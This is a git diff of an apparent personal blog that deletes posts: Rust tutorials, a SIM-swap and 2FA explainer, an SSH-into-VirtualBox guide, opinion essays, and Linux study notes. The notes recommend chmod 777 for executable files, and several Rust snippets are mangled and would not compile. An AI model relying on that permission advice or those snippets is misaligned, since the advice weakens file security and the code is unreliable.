thinking of the REST actions themselves as being the resources the client wants to interact with rather than the backend action being only a facilitator to a resource stored in the database. diff --git a/content/posts/rust-getting-started.md b/content/posts/rust-getting-started.md deleted file mode 100644 index 398cfee18..000000000 --- a/content/posts/rust-getting-started.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: "Rust Getting Started" -date: 2022-12-06T16:55:43-05:00 -draft: false -tags: [ - "programming", - "tutorial", - "rust", -] -summary: "Get started with Rust programming by learning how to set up and manage projects using Cargo, including installation, project initialization, basic code, and compiling/running." ---- - -## Installation - -You can install rust from [here](https://www.rust-lang.org/tools/install). If you are on Windows, click the 64-BIT installer. I don't know why programming -languages promote 32-BIT over 64-BIT, but that's why I'm here. - -## Agenda - -Last year I read Rust by example and it was not helpful at all at quantifying what you really need to know. -My expectations is that a novice → beginner means that you are capable of producing a rust **project** not file that someone else can compile. -Let's skip over how to create single file projects in Rust. That's easy, just create a `sample.rs` file and use Code Runner in VS Code or `rustc sample.rs`. -This is good for someone who is printing hello world into the console but it is a horrible way to go about things. - -## IDE - -It doesn't matter which IDE you use, coding in Rust is difficult either way. - -## Cargo - -Start your Rust journey by creating your very own Rust playground project. In your projects directory (wherever that may be), run - -```sh -cargo init rust-playground -``` - -If cargo doesn't work for you, you probably didn't install Rust correctly or you didn't restart your terminal. - -Anyways, what is cargo used for? Well it's used for managing Rust projects. Things like: building your project, using other people's libraries in your code, and installing packages globally. - -There's more to it but this tutorial is teaching you essential basics for when things inevitably go wrong. - -## Writing Code - -Rust does things differently. Often you will need to read documentation. The auto complete features are complete garbage as well so you need to read a lot just to write one statement. - -### How to print to console? - -Rust has these things called macros to allow for sporadic or dynamic parameters. Thus to print something use - -```rs -println!("this is a &str. What's a &str...?") -``` - -## Compiling - -```sh -cargo run -``` - -If you see errors, use `cargo run 2>cargo.log` so that you have an easier time reading the errors on subsequent builds. - -For release builds, use `--release` - -## Next Steps - -To learn Rust, start reading [The Rust Programming Language Chapter 02](https://doc.rust-lang.org/book/ch02-00-guessing-game-tutorial.html#setting-up-a-new-project) diff --git a/content/posts/rust-how-to-make-a-request.md b/content/posts/rust-how-to-make-a-request.md deleted file mode 100644 index 2b0a24e28..000000000 --- a/content/posts/rust-how-to-make-a-request.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: "Rust How to Make a Network Request" -date: 2022-12-06T16:56:25-05:00 -draft: false -tags: - - programming - - tutorial - - rust - - rocket.rs -summary: "Learn how to make network requests in Rust using the `reqwest` crate, handle JSON responses with `serde_json`, and integrate requests within a Rocket web framework backend." ---- - -Add this to your [`Cargo.toml`](/posts/rust-getting-started.md) file - -```toml -[dependencies] -reqwest = { version = "0.11.13", features = ["json"] } -serde_json = "1.0" -``` - -If you need to make a synchronous request, use the blocking feature and create a blocking client. -JSON is useful when you need to parse a JSON response with something like `serde_json::Value` or a Struct with the Deserialize derivation. - -You should design your code to reuse clients as much as possible. In this code the - -```rs -use serde_json::Value; -use reqwest; -use reqwest::Client; - -// when making requests, try to use an existing client instead of creating a client or using the get method -async fn make_request(client: &Client) → Result { - let url = "https://api.sampleapis.com/coffee/hot"; - let response = client.get(url).send().await?; - let hot_coffees = response.json::().await; - hot_coffees -} - -// build a client with a user-agent since Client::new does not add a user-agent by default -// use a more sophisticated user-agent if you want to mimic a browser -let client = Client::builder().user_agent("reqwest").build().unwrap(); -``` - -## Making Reqwest Within Rocket Backend - -If you want to make outgoing requests while processing an incoming request in Rocket, you may want to use `State`. Here is an example. - -
-Cargo.toml - -```toml -[dependencies] -rocket = { version = "0.5.0-rc.2", features = ["json"] } -reqwest = { version = "0.11.13", features = ["json"] } -``` - -
- -```rs -use serde_json::Value; -use rocket::State; -use rocket::response::status::NotFound; -use reqwest; -use reqwest::Client; - -#[get("/")] -async fn index(client: &State) → Result> { - let url = "https://api.sampleapis.com/coffee/hot"; - let response = client.get(url).send().await.map_err(|e| Status::NotFound(e.to_string()))?; - response.json::().await.map_err(|e| Status::NotFound(e.to_string())) - // `result.map_err` is for E → F whereas `result.or_else` can turn an error into an ok -} - -#[launch] -fn rocket() → _ { - let client = reqwest::Client::builder().user_agent("reqwest").build().unwrap(); - rocket::build() - .manage(client) - .mount("/", routes![index]) -} -``` - -I also recommend reading [json manipulation in Rust](/posts/rust-json-manipulation.md). diff --git a/content/posts/rust-json-manipulation.md b/content/posts/rust-json-manipulation.md deleted file mode 100644 index d6b9eaac7..000000000 --- a/content/posts/rust-json-manipulation.md +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: "Rust JSON Manipulation" -date: 2022-12-06T17:23:13-05:00 -draft: false -tags: - - programming - - tutorial - - rust - - rocket.rs -summary: "Dive into JSON handling using serde within the context of the Rocket web framework." ---- - -We'll be doing this in the context of `rocket`. -If you are doing this outside the context of rocket replace `rocket::serde::json` with `serde_json` and add `serde_json` to you `Cargo.toml` file. - -
-Cargo.toml - -```toml -[dependencies] -rocket = { version = "0.5.0-rc.2", features = ["json"] } -serde = { version = "1.0", features = ["derive"] } -# serde_json = "1.0" -``` - -
- -## Arbitrary JSON - -```rs -use rocket::serde::json::{json, Value, Json}; - -#[get("/")] -fn index() → Option { - // Returns JSON if json manipulation succeeds, else 404 - - // Assume that this response is from an API request - let mut response = json!({ - "names": [ - { - "first": "Elijah", - "last": "Lopez", - } - ] - // Assume there are a lot of extra fields we do not care about and thus to save time we do not bother with Structuring - }); - // Let's add a name - // if the Structure already has a precise defintion, use Structs with the #[Serialize] macro to avoid .do_something()? - response.as_object_mut()?["name"].as_array_mut()?.push( - json!({ - // Disclosure: I made this name up. Turns out she is an actress. - "first": "Rachel", - "last": "Mathews" - }) - ); - response -} - -#[launch] -fn rocket() → _ { - rocket::build() - .mount("/", routes![index]) -} -``` - -## Defined Struct and Json - -Assume that the API we are using only has a names field and that our endpoint just adds a name to that API. -Since the API response is very simple, we might as well create a Struct. - -I tried to fiddle with using just &str for the Struct fields but got a lot of life time errors so I went with Cow (clone on write) -which takes care of cloning whenever we need to mutate a field. - -```rs -use rocket::response::status::NotFound; -use rocket::serde::json::{json, Value, Json}; -use serde::{Serialize, Deserialize}; -use std::borrow::Cow; - -#[derive(Serialize, Deserialize, Clone)] -struct Name<'r> { - first: Cow<'r, str>, - last: Cow<'r, str> -} - -#[derive(Serialize, Deserialize, Clone)] -struct Names<'r>(Vec>); - -#[get("/get-api")] -async fn new_index(client: &State) → Result>, NotFound> { - // make a request - let response = client.get("url that returns a list of names").send().await.map_err(|e| NotFound(e.to_string()))?; - let mut names = response.json::>().await.map_err(|e| NotFound(e.to_string()))?; - names.0.push( - Name { - first: "Rachel".into(), - last: "Matthews".into() - } - ); - Ok(Json(names)) -} - -#[post("/post-api", data = "")] -fn post_index(mut names: Json>) → Json> { - names.0.0.push( - Name { - first: "Rachel".into(), - last: "Matthews".into() - } - ); - names -} - -#[launch] -fn rocket() → _ { - rocket::build() - .mount("/", routes![new_index, post_index]) -} -``` - -TODO: use https://api.sampleapis.com/coffee/hot for a more complex example diff --git a/content/posts/sim-swapping-why-sms-2fa-is-unsecure.md b/content/posts/sim-swapping-why-sms-2fa-is-unsecure.md deleted file mode 100644 index ad52724e9..000000000 --- a/content/posts/sim-swapping-why-sms-2fa-is-unsecure.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: "SIM Swapping: Why SMS 2FA Is Unsecure" -date: 2023-07-09T19:38:38-04:00 -draft: false -tags: - - cryptocurrency - - cybersecurity - - opinion -summary: "Explains SIM swapping risks for SMS 2FA and advises against it for financial/email security, recommending authenticator apps and secure local storage for backup codes." ---- - -A lot of companies provide their users with SMS for 2FA in case their users reuse passwords across multiple services. However, users who are forced to use SMS 2FA or choose to use SMS 2FA can be left completely insecure, especially with financially related services which oddly use non-token based 2FA (many crypto exchanges). - -If a criminal wants to steal your cryptocurrency, they are not going to abide by identity theft laws. - -SIM swapping is when a malicious actor uses your government ID, such as a social security number (USA) or social insurance number (Canada) to pretend to have lost access to their phone, and subsequently call the telecommunication provider to essentially switch over service to their SIM from the old one. Once a valid service is secured, the malicious actor can simply use the password leaks they found and break into your account. - -It's even worse if you use SMS 2FA for your email account. - -## PSA: Use One Time Password and 2FAS for 2-Factor Authentication - -When presented an option to use 2 factor authentication, also go with the authenticator app which is one time tokens. [2FAS](https://2fas.com/) is a great app for this. - -## PSA: DO NOT USE SMS FOR GOOGLE 2-STEP VERIFICATION BACKUP - -When setting up 2-Step verification, Google will ask you to add a backup option and prompts you with a phone number form by default instead of the backup codes. This backup option will leave you insecure if your identity gets stolen which is more plausible than dying in a car accident. - -Instead of phone number backup, use **backup codes** and save them to a local [KeePassXC](https://keepassxc.org/download/) database that is locked with **a master password you do not use for any online services**. diff --git a/content/posts/ssh-into-virtualbox.md b/content/posts/ssh-into-virtualbox.md deleted file mode 100644 index 77a93cc5a..000000000 --- a/content/posts/ssh-into-virtualbox.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: "How to SSH Into VirtualBox" -date: 2023-11-19T14:22:42-05:00 -draft: false -tags: - - programming - - tutorial - - ssh - - vscode - - virtual-box -summary: "Tutorial on how to SSH into a VirtualBox VM by configuring port forwarding, installing openssh-server, and setting up password-less SSH from Windows or Linux." ---- - -For the Oracle VirtualBox VM, click the virtualbox network settings and add a new port forwarding rule under advanced settings and add a rule for SSH with the TCP protocol, 3022 Host port, and 22 guest port. - -![port forwarding UI in VirtualBox](/images/virtual-box/port-forwarding-ssh.webp) - -On the Virtual Machine, install openssh-server. This is how you would do it on Debian-based systems. I'm using Linux mint. - -```sh -sudo apt install -y openssh-server -``` - -On your own machine, first try sshing into the virtual machine. - -```sh -ssh -p 3022 elijah@127.0.0.1 -``` - -Once you can confirm it works, we want to copy our ssh-id so that we won't have to repeatedly use our passwords. Especially when we want to use VSCode or something. - -## Password-less SSH - -If you do not have an SSH key, `ssh-keygen -t ed25519` - -If you're on Windows, you will need to first install the OpenSSH feature from Settings or you can use WSL to be able to use `ssh-keygen`. - -### Windows - -Use either of the two commands below to copy your SSH ID to the Virtual Machine's authorized keys. I created an SSH key on my PC over 4 years which is why when at the time the "gurus" were all spouting RSA. - -```pwsh -type ~\.ssh\id_ed25519.pub | ssh -p 3022 elijah@127.0.0.1 "cat >> .ssh/authorized_keys" -type ~\.ssh\id_rsa.pub | ssh -p 3022 elijah@127.0.0.1 "cat >> .ssh/authorized_keys" -``` - -### Linux - -```sh -ssh-copy-id -p elijah@127.0.0.1 -``` - -To integrate with VSCode, adapt the following into your `.ssh/config` file - -```sh -Host "VirtualBox Linux Mint" - User elijah - HostName 127.0.0.1 - Port 3022 - IdentityFile "C:\Users\maste\.ssh\id_rsa" -``` - -If you want to run a GUI on the VirtualBox, run `export DISPLAY=:0` first diff --git a/content/posts/starting-systemd-services-without-root.md b/content/posts/starting-systemd-services-without-root.md index cedd67cdd..15669b393 100644 --- a/content/posts/starting-systemd-services-without-root.md +++ b/content/posts/starting-systemd-services-without-root.md @@ -4,8 +4,7 @@ date: 2023-01-21T14:49:20-05:00 tags: - devops - tutorial -aliases: ["/posts/starting-systemctl-services-without-root/"] -summary: "Learn how to configure systemd services to be started, stopped, and restarted by a non-root user without requiring a password using sudoers." +aliases: ["/posts/starting-systemctl-services-without-root"] --- Google and StackExchange do not give a straight forward and properly explained answer on how to do this, so I used [ChatGPT](https://chat.openai.com/chat) diff --git a/content/posts/steven-crowder-emotional-abuse.md b/content/posts/steven-crowder-emotional-abuse.md deleted file mode 100644 index 05c88fb53..000000000 --- a/content/posts/steven-crowder-emotional-abuse.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: "What Is Abuse? Regarding the Steven Crowder Video" -date: 2023-04-29T00:56:25-04:00 -tags: - - opinion - - politics -summary: "An opinion piece analyzing a video of Steven Crowder's interaction with his wife, arguing that his behavior constitutes emotional abuse based on a definition from the National Domestic Violence Hotline and discussing the understanding of abuse." ---- - -With the latest revelation of Steven Crowder's improper behaviour towards his almost ex-wife shown in the article linked in the tweet below, it's very clear that a considerable portion of people (at least on the internet) are poor at comprehending what abuse is. I've transcribed the video into text using [openai-whisper](https://github.com/openai/whisper) and attached it at the bottom for your reference as the website linked is very bloated. - -{{< tweet user="yashar" id="1651645370898989057" >}} - -What disheartens me the most is that some of the users who are refusing to condemn this behaviour towards a spouse label themselves proudly as Christian. I used to call myself a Christian but one of the reasons I left Christianity is the refusal of the community, priests, bishops, and pope to explicitly classify what is wrong and the blatant hypocrisy when it comes to practical real life instances of injustice when actions aren't barred by the law. - -So let me clarify what abuse is and what emotional abuse is. One definition of abuse is - -> speak in an insulting and offensive way to or about (someone). -> "the referee was abused by players from both teams" - -Being abusive in this context isn't exactly correct because a hockey player being abusive towards a referee when losing does not exactly make the hockey player evil. So we have to use a more stricter definition that gives weight to "emotional." - -The best way to define "emotional abuse" is to use the definition given by the [National Domestic Violence Hotline](https://www.thehotline.org/resources/what-is-emotional-abuse/) - -> “I don’t want you going out with them. I trust you; I just don’t trust them.” - -The NDVH's first example is an example that doesn't even show narcissism or victim blaming. Crowder told his pregnant wife to not take the car because he might need to go to the gym. He instead told her to get an Uber and considered her calling a friend to pick her up a threat. It would only be considered a threat to someone with a guilty consciousness. In what world is "okay, I'll call my friend to pick me up" a threat? Only in the real world where you are entitled to a car over your pregnant wife and want her to take an uber but are not okay taking an Uber yourself. The entitlement itself makes Crowder a bad person, but his dictation to not take the car plus the "threat" comment makes this emotional abuse. "You're going against me? How could you" is a classic playbook. - -> Emotional abuse includes non-physical behaviors that are meant to control, isolate, or frighten you. - -The biggest red flag is that Crowder, who earns more money in one month than my parents do in one year and earns more in one year than our family is worth, has one car whereas my family has two cars. The cheapness argument cannot be used since there's a literal pool in the backyard. Some people might give the situation the benefit of the doubt that the second car was in the shop, but then two partners should be accommodating instead of saying "feeling some constraints" in the tone a 6 year old uses. He says that he "can't go to the gym" but then says he "can't be at home," which at first it may allude to the wife controlling him, but the last comment just means that it's a figure of speech not literal. - -He asserts that his wife is not doing _wifely_ things, and ignoring that gender roles don't exactly exist, his idea of _wifely_ things is a pregnant woman carrying wooden pallets and a grill?? Hello? My parents get groceries together every week or two. They only go alone if there's something missing that they themselves need or if the person who is busy can't get themselves. It is absolutely absurd to assume your spouse can read your mind and go to the grocery store to get it for you. Even when his wife says that she will get the things he needs, he says "It doesn't work either," so clearly the issue is that he just doesn't want her to take the car and come back at an unknown time. - -Another comment that stuck out is "Do you understand the difference between my life being set to the second and you're going to be back when your back" as if his wife is the one telling Crowder what to do but his later comment especially - -"Walk the dogs and put on some gloves" to show her commitment to him. I don't know about everyone else, but I don't tell people to do things for me that I can do myself. I usually say "Could you do this for me" and I definitely wouldn't ask my pregnant wife to walk the dogs and put some gloves on (in reference to her concern that touching the medication is toxic to pregnant women). - -Anyways, the video was harder to watch a second time since it goes against everything my parents taught me about ethics and I'm pretty much done trying to convince people that Steven Crowder is completely in the wrong here regardless of if his wife was being controlling outside of the video (p.s. he wasn't at the hospital when she gave birth). - -
Transcription - -This isn't exactly what was said, but it's useful as a guideline to watch the speech I referenced. - -```txt -[00:00.000 --> 00:06.000] Because I drew a boundary. I drew a boundary. No, no, you just did it. You just did it. -[00:06.000 --> 00:10.000] I drew a boundary in abuse of control. You were not taking the car. -[00:10.000 --> 00:16.000] Because if you refuse to do rightful things, then I will go pick up the grocery. -[00:18.000 --> 00:23.000] Steaks, wood pellets, my grill. I know it's not a reasonable workbook. -[00:23.000 --> 00:27.000] But I'll go do it. How about a huge purse? -[00:27.000 --> 00:29.000] How do you respond to that? -[00:29.000 --> 00:32.000] Other than that, I'm the man. -[00:32.000 --> 00:38.000] I don't know. Other than that, I'm the man. -[00:38.000 --> 00:40.000] No, you're not taking the car. -[00:40.000 --> 00:42.000] You're not taking the car. -[00:42.000 --> 00:44.000] Then I will ask them to pick up the car. -[00:44.000 --> 00:46.000] What would you like them to ask? -[00:46.000 --> 00:47.000] Oh, that's right. -[00:47.000 --> 00:49.000] Give it an Uber. -[00:49.000 --> 00:52.000] Okay, Stephen, I can't. -[00:52.000 --> 00:54.000] Feeling some constraints? -[00:54.000 --> 00:56.000] Stephen, I can't see them. -[00:56.000 --> 00:59.000] Listen to me. You want to walk out right now? Listen to me. -[00:59.000 --> 01:02.000] I can't go to the gym. I can't go to my parents. I can't call my friends. -[01:02.000 --> 01:05.000] I can't go. I can't be home. You're going to take the car and leave me here. -[01:05.000 --> 01:07.000] Hillary, just think of how boxed in you've made me. -[01:07.000 --> 01:10.000] What do you need me to pick up? I'll get it. I'll be back when I'm back. -[01:10.000 --> 01:13.000] No, that doesn't work either or you'll be back when you're back. -[01:13.000 --> 01:15.000] It doesn't work either. -[01:15.000 --> 01:20.000] Do you understand the difference between my life being set to the setting and you're going to be back when I'm back? -[01:20.000 --> 01:22.000] Stephen. -[01:25.000 --> 01:28.000] The only way out of this is disciplinary stuff. -[01:28.000 --> 01:30.000] It's the only way out of this when we're at an impact. -[01:30.000 --> 01:32.000] You're going to be back. -[01:32.000 --> 01:34.000] Good. Because you can't have any disciplinary stuff. -[01:34.000 --> 01:36.000] There you go. -[01:36.000 --> 01:38.000] You throw your hand. You give up so easily. -[01:38.000 --> 01:39.000] I don't give up so easily. -[01:39.000 --> 01:40.000] You give up so easily? -[01:40.000 --> 01:42.000] I just said the only way out of this is disciplinary stuff. -[01:42.000 --> 01:44.000] You said then we're at an impact. -[01:44.000 --> 01:46.000] No, we are at an impact. -[01:46.000 --> 01:48.000] I love you, but Stephen. -[01:48.000 --> 01:50.000] Your piece is sick. -[01:50.000 --> 01:52.000] Your piece is sick. -[01:52.000 --> 01:54.000] Watch it. -[01:54.000 --> 01:56.000] Fucking watch it. -[01:56.000 --> 01:58.000] I'm going to let go. -[01:58.000 --> 02:00.000] I'll get what you need me to get. -[02:00.000 --> 02:02.000] And I need some space. -[02:02.000 --> 02:04.000] You need to just talk to me a little bit. -[02:04.000 --> 02:06.000] I love you. -[02:06.000 --> 02:08.000] I love you very much. -[02:08.000 --> 02:10.000] I don't love you. That's the big problem. -[02:10.000 --> 02:12.000] I've never received love from you. -[02:12.000 --> 02:14.000] And the fact is when I go, look, I need an A, B, C, and D. -[02:14.000 --> 02:16.000] You just be disciplined about it. -[02:16.000 --> 02:18.000] But I love you more than life itself. -[02:18.000 --> 02:20.000] Okay, put on some gloves. -[02:20.000 --> 02:22.000] No, but I love you more than life itself. -[02:22.000 --> 02:24.000] That's not fair. That's not fair. And it's disingenuous. -[02:24.000 --> 02:26.000] Hillary, you're right. -[02:26.000 --> 02:28.000] Right in the ass. -[02:28.000 --> 02:30.000] Become someone who's needed. -[02:30.000 --> 02:32.000] Day in and day out. -[02:32.000 --> 02:34.000] Worthy of a life. -[02:34.000 --> 02:36.000] No, not of the life. -[02:36.000 --> 02:38.000] Hillary, come on now. -[02:38.000 --> 02:40.000] I'm not going to engage. I'm not going to engage anymore. -[02:40.000 --> 02:42.000] I'm going to go. I'll get what you need. -[02:42.000 --> 02:44.000] I'll get what you need. -[02:44.000 --> 02:46.000] I love you. -[02:46.000 --> 02:48.000] I commit it to you. -[02:48.000 --> 02:50.000] I love you. -[02:50.000 --> 02:52.000] I commit it to you. -[02:52.000 --> 02:54.000] Fuck that. -[02:54.000 --> 02:56.000] That's the gloves. -[02:56.000 --> 02:58.000] Are you committed enough to do these things? -[02:58.000 --> 03:00.000] Are you committed enough to do those things? -[03:00.000 --> 03:02.000] You're not committed to anything. -[03:02.000 --> 03:04.000] You're not committed to anything. -[03:04.000 --> 03:05.920] You just said I love you. -[03:05.920 --> 03:08.000] Walk the dogs front and closed. -[03:08.000 --> 03:10.000] Walk the dog front and closed. -[03:10.000 --> 03:12.000] Are you committed enough to do those things? -[03:12.000 --> 03:14.000] Are you committed enough to do those things? -[03:14.000 --> 03:16.000] I'm committed. -[03:16.000 --> 03:18.000] Walk the dogs front and closed. -[03:18.000 --> 03:20.000] Are you committed enough to do the medication? -[03:20.000 --> 03:22.000] Walk the dog front and closed. -[03:22.000 --> 03:24.000] Take care. -``` - -
diff --git a/content/posts/stop-paying-for-1password.md b/content/posts/stop-paying-for-1password.md deleted file mode 100644 index 3b6ea10d4..000000000 --- a/content/posts/stop-paying-for-1password.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: "Stop Paying for 1Password" -date: 2023-06-10T09:23:46-04:00 -draft: false -tags: - - opinion -summary: "Argues against paying for password managers like 1Password, advocating for free, open-source KeePassXC and highlighting its features and advantages." ---- - -So I applied for an internship position at 1Password which had Bonus points for - -> Frontend web development experience with Javascript frameworks like React, Angular, or Vue.js -> Experience with TypeScript. -> Experience with Rust - -This aligned with my work using Tauri. I thought being the first to make videos on Tauri would be commendable so I mentioned that in the additional details section of my application. Nope, still got a generic rejection email. I didn't realize many university students were well acquainted with Rust and React.js, but clearly it much more than 10. - -I was willing to have an open mind regarding 1Password before, but I doubt I'll be working there, I will put on a salty performance and mention the reasons why 1Password is a waste of money. - -## Introducing KeepassXC - -KeepassXC can hold your passwords, notes, and attachments encrypted in a file. You can use it manually or some websites, or you can even install the KeepassXC browser extension to auto-fill. The app can start in the system tray on computer startup, and you can unlock the database the first time you need to use a password from the database. I'm sure you can even set a timeout so that your database won't be unlocked if you accidentally forget to leave your computer sitting unlocked. - -### How to use on Mobile and Desktop? - -You may ask, but if the password database is on my desktop, won't I need to transfer it every time? Yes if you want to bypass the cloud, but you can use cloud storage to keep the database in sync with your phone. And on your phone, in the cloud app, set the file's availability to "always" and in the KeepassXC app, open the file directly from the cloud rather than downloading the database to your phone's file system manually. - -### FREE (as in Beer) - -The basis of this article is that KeePassXC is free and does not have a profit interest in mind. 1Password is a corporation that can disappear at a moment's notice, increase the price suddenly, or lock your account because your phone died and now your 2FA is missing. By the way, the best MFA app is called 2FAS Auth. - -### FREE (as in freedom) - -The other good part, is the KeePass and KeePassXC are open-source projects that are built and maintained by a developer community. Open-source projects are not always great in terms of usability and experience, but KeePassXC is a great example of open-source developers caring about end user experience, probably because it is a consumer facing product and not a developer facing library. - -## Browser - -In combination with KeePassXC, browser password saving is incredible too, as long as you remember to lock your computer when you are not using it (passwords are accessible only when you are logged into the computer). - -## Conclusion - -In conclusion, there's no need to pay 1Password for password management. Yes, 1Password is raising the bar when it comes to employee treatment, but there's absolutely no reason to be in the business of password management. The market for password managers is already diluted with Lastpass and Dashlane to make matters worse. 1Password has a lot of cash to keep itself floated, but I am of the opinion that 1Password will be no different than Dropbox. Early to market but the tiniest product moat. diff --git a/content/posts/stop-using-discord-for-support-forums.md b/content/posts/stop-using-discord-for-support-forums.md deleted file mode 100644 index 032e282d5..000000000 --- a/content/posts/stop-using-discord-for-support-forums.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: "Stop Using Discord for Support Forums" -date: 2023-12-31T14:20:47-05:00 -draft: false -tags: - - opinion -summary: "Argues against using Discord for support forums due to poor search engine indexability, fragmented discussions, and inefficient search, advocating for platforms like Stack Overflow for better SEO." ---- - -As I sit here to type, I'm in 11 different Discord developer library servers. In each of these servers are non Search Engine Indexable support threads. Meaning that I as a developer, when I encounter a problem or a bug or need to do something, I get 0 results on Google and have to join a Discord server, waste my time agreeing to the rules I didn't read, and then try searching for a the problem, but since Discord's search is not even close to a search engine like Google, it is slow and I end up having to start a new thread. Then of course, each discord community has locking features. So instead of keeping discussions on the same thread, I have to start a new one and reference the old one. Thanks Stripe. - -I will start asking questions on Stackoverflow from now on because at this point, if the SEO does not exist, I will create the SEO for others. I've never asked a Stackoverflow question for a problem I didn't solve myself, but from now on I will ask and answer my own questions. diff --git a/content/posts/systems-engineering.md b/content/posts/systems-engineering.md deleted file mode 100644 index 19172daf3..000000000 --- a/content/posts/systems-engineering.md +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: "Systems Engineering" -date: 2024-03-05T17:15:02-05:00 -hidden: true -summary: "Notes on systems engineering covering Linux fundamentals, troubleshooting commands, memory management, networking (sockets, PTP), UNIX/Linux history, and system resources like containers." ---- - -## Goals - -1. We need to be able to troubleshoot a system using different Linux commands such as ping / ps aux | vmstat -2. We need to know how Linux works; what types of memory there are, how processes work, relationship between the kernel and user applications, etc. -3. Does the candidate understand the relationship between the kernel and the user applications? -4. Does the candidate understand on which resource something will get bottlenecked and how to determine that? -5. Does the candidate understand some of the common tools on a typical Linux system? -6. Does the candidate understand some common patterns to solve systems problems? - -## Linux - -Source: [Modern Operating System by Andrew Tanenbaum Chapter 10](https://csc-knu.github.io/sys-prog/books/Andrew%20S.%20Tanenbaum%20-%20Modern%20Operating%20Systems.pdf) - -- a popular variant of UNIX -- Android is based on Linux -- most variants of UNIX have the same common set of system calls and the strategies/algorithms for the implementation is similar with differences - -### Kernel and User Mode - -### Trouble Shooting - -#### Memory Trouble Shooting - -- vmstat: - - https://www.redhat.com/sysadmin/linux-commands-vmstat -- `free -th` -- `top` - - use `Shift + F`, `s`, `q` to sort my memory or cpu -- `ps aux | grep process-name` - -#### I/O Trouble Shooting - -- iostat -x -c -d -t 1 900 > /tmp/iostat.txt -- lscpu and read threads per core - -#### Program Debugging - -- strace COMMAND - - or use `-p PID` to attach to a process - -### History of Linux - -- (1940s-1950s) system with one programmer at a time → (1960s) system with puncard programs batched together with time-consuming debugging/output process → -- Timesharing invented aat Dartmouth College which ran BASIC -- Timesharing by MIT, CTSS was successful and a collaboration began between MIT, Bell Labs, General Electric (MULTICS MULTiplexed Information and Computing Service) -- Ken Thompson wrote a stripped version of MULTICS in assembly on a PDP-7 minicomputer to support Thompon's development effort -- Brain Kernighan called it UNICS (UnNiplexed Information and Computing Service); UNIX is just a short-form -- Colleagues joined in and ported it (requires rewriting for each system) to many different minicomputers -- Memory protection resulted in multiple users -- Thomson designed and created a high-level language B (simplified BCPL which was simplified CPL which never worked and neither did PL/I) to rewrite UNIX -- B lacked structures, so Dennis Ritchie (a colleague) designed C and wrote a compiler -- (1974) Ritche and Thompas published UNIX paper -- AT&T owned Bell Labs and was a regulated monopoly with no permission to be in computer business; UNIX licensed for a fee to universities -- Coincidence being that PDP-11 which the Bell Labs team ported UNIX to, was being used at these universities -- Version 7 was portable - -#### How to Port UNIX to Another System - -1. Write C compiler for new machine - - Steve Johnson rewrote the portable C compiler -2. Write device drivers for new machine's I/O (monitors, printers, disks) - - no two disks worked the same way so can't just copy code to that machine and compile it! - - instead of carrying physical tape for months, someone decided to use cables since they were a phone company after all - - UNIX networking -3. Small amount of machine-dependent code, usually in assembly for interrupts and memory-management had to be rewritten - -The first port was to the Interdata 8/32 minicomputer which exposed a large number of assumptions UNIX had made from being on the PDP-11 - -- 16bit integers, max program size of 64 KB, 3 registers for variables - -#### Mass Commercialization - -After AT&T was broken up, it started producing Systems, with System V being so complicated. UNIX was still worked on but never widely circulated. AT&T sold UNIX business unit to Novell in 1993 which sold it to Santa Cruz Operation in 1995. All major companies already had licenses by then. - -#### Berkely UNIX - -- Version 6 -- U.S. Dep. of Defense's Advanced Research Projects Agency (ARPA) grants -- Released 1BSD (berkeley software distribution) and 2BSD for PDP-11 -- 4BSD - - had improvements like virtual memory and paging (allows programs to be larger than physical memory by paging parts into disk and swapping them out) - - faster file system - - networking introduced (TCP/IP) - - new editor (vi) - - new shell (csh) -- Became well established and vendors started basing on BSD - -#### Fragmentation of UNIX - -- Unlike MS-DOS where software would always run on MS-DOS, UNIX programs might not work with other UNIX systems due to a lack of standardization -- standardizations failed because of misaligned interests -- POSIX (Portable Operating System): IEEE standards board stepped in and produced 10003.1 which is a set of system procedures every UNIX conformant system must supply - - The intersection of both major systems was used instead of the intersection -- C standardized by ANSI and ISO -- MINX was created which was UNIX-like and for educational purposes and was microkernel design - - file system and memory manager ran as two separate user processes - - microkernel has the advantage of being easier to understand and maintain - - user-process crash does less damage than a kernel - - disadvantage is extra switching between kernel and user mode but this is okay because X Windows is user mode in contrast to even the GUI being kernel on WIndows - - MINX 3 (2004) took all this a step further with self-healing and even separated out device drivers as user processes with more programs ported from UNIX to MINIX 3.0 - -#### Introduction of Linux - -- MINIX was educational so many feature requests rejectetd -- Finnish student Linus Torvalds created a full-blown UNIX clone with all features that were initially missing (Linux 0.0.1 1991) -- monolithic, although borrowed ideas from MINIX -- virtual memory added -- used many features of gcc compiler and so was not ANSI standard C; other compilers like LLVM from University of Illinois exist which do not support nonstandard gcc extensions and so kernel would have to be patched to replace the non-ANSI code -- Linux 1.0 in 1994; large UNIX compatibility for many programs to be ported over; 2.0 in 1996 -- Linux C lines of code ballooned from 10,000 to 165,000 to 470,000 to 16MM in 2013 -- Lawsuit against BSD (4.4) resulted in a delay of FreeBSD which would've increased competition - -### Overview of Linux - -- for programmers by programmers -- simple (no classes of files for different access as mainframes did) -- principle of least surprise (ls A\* and rm A* should list and remove all files beginning with A) -- apps should do one thing and one hing well -- apps should not waste time or require extra typing (cp instead of copy, command line args instead of one by one form-line inputs) - -```hierarchy - Users | runs programs ----- USER MODE --- -Standard Utility Programs | calls library -Standard Library (POSIX) | calls system interfaces ----- KERNEL MODE --- -Linux OS (manages processes, memory, file system, I/O) | Supremely commands -Hardware (CPU, memory, disks, screens) -``` - -System calls are made by first putting args in registers, issuing trap instructions to switch from user mode to kernel mode. Trap instructions are assembly code with one procedure per system call. These procedures are callable in C and putts args in the right place before executing trap instruction. - -#### GUIs on linux - -- GNOME (GNU Network Object Model Environment), KDE (K Desktop Environment) -- Built on top of xlib which interacts with the X Windowing System or X11 server which controls the devices and is responsible for redirecting input -- There is also a display manager which is responsible for displaying the graphical login screen - -### Memory Management - -### Permission Bits - -`chmod` changes the permissions of files. The mode is 3 number (0-7) that corresponds to a binary number representing whether read, write, execute is allowed for each group. The first number is the for the owner, the second number is for the group, and the third number is for others. For quick reference, use 666 for read and write and use 777 to execute as well. - -`ls -la` can be can be used to list all files with their metadata - -### 